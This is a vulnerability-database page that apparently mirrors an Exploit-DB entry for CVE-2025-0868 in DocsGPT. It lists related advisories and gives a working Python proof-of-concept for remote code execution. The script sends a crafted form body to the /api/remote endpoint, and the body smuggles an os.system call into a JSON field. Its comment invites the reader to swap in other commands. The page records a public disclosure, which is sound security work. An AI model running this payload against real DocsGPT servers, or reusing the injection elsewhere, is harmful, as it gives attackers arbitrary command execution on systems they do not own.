Lucene search
K

DocsGPT 0.12.0 - Remote Code Execution

đŸ—“ïžÂ 09 Apr 2025 00:00:00Reported by Shreyas MalhotraType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 285 Views

Exploitation of DocsGPT 0.12.0 allows remote code execution through crafted payloads.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-0868
20 Feb 202514:49
–circl
CNNVD
DocsGPT ćź‰ć…šæŒæŽž
20 Feb 202500:00
–cnnvd
CVE
CVE-2025-0868
20 Feb 202511:26
–cve
Cvelist
CVE-2025-0868 Remote Code Execution in DocsGPT
20 Feb 202511:26
–cvelist
GithubExploit
Exploit for CVE-2025-0868
25 May 202513:14
–githubexploit
Github Security Blog
DocsGPT Allows Remote Code Execution
20 Feb 202512:31
–github
Nuclei
DocsGPT - Unauthenticated Remote Code Execution
3 Jun 202606:04
–nuclei
NVD
CVE-2025-0868
20 Feb 202512:15
–nvd
OSV
CVE-2025-0868
20 Feb 202512:15
–osv
OSV
GHSA-9GFF-5V8W-X922 DocsGPT Allows Remote Code Execution
20 Feb 202512:31
–osv
Rows per page
# Exploit Title: DocsGPT 0.12.0 - Remote Code Execution
# Date: 09/04/2025
# Exploit Author: Shreyas Malhotra (OSMSEC)
# Vendor Homepage: https://github.com/arc53/docsgpt
# Software Link: https://github.com/arc53/DocsGPT/archive/refs/tags/0.12.0.zip
# Version: 0.8.1 through 0.12.0
# Tested on: Debian Linux/Ubuntu Linux/Kali Linux
# CVE: CVE-2025-0868

import requests
 
# TARGET CONFIG
TARGET = "http://10.0.2.15:7091"  # Change this
 
# Malicious payload string - carefully escaped - modify the python code if necessary
malicious_data = (
    'user=1&source=reddit&name=other&data={"source":"reddit",'
    '"client_id":"1111","client_secret":1111,"user_agent":"111",'
    '"search_queries":[""],"number_posts":10,'
    '"rce\\\\":__import__(\'os\').system(\'touch /tmp/test\')}#":11}'
)
 
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}
 
try:
    response = requests.post(f"{TARGET}/api/remote", headers=headers, data=malicious_data)
    print(f"[+] Status Code: {response.status_code}")
    print("[+] Response Body:")
    print(response.text)
except Exception as e:
    print(f"[-] Error sending request: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 49.3
EPSS0.17281
SSVC
285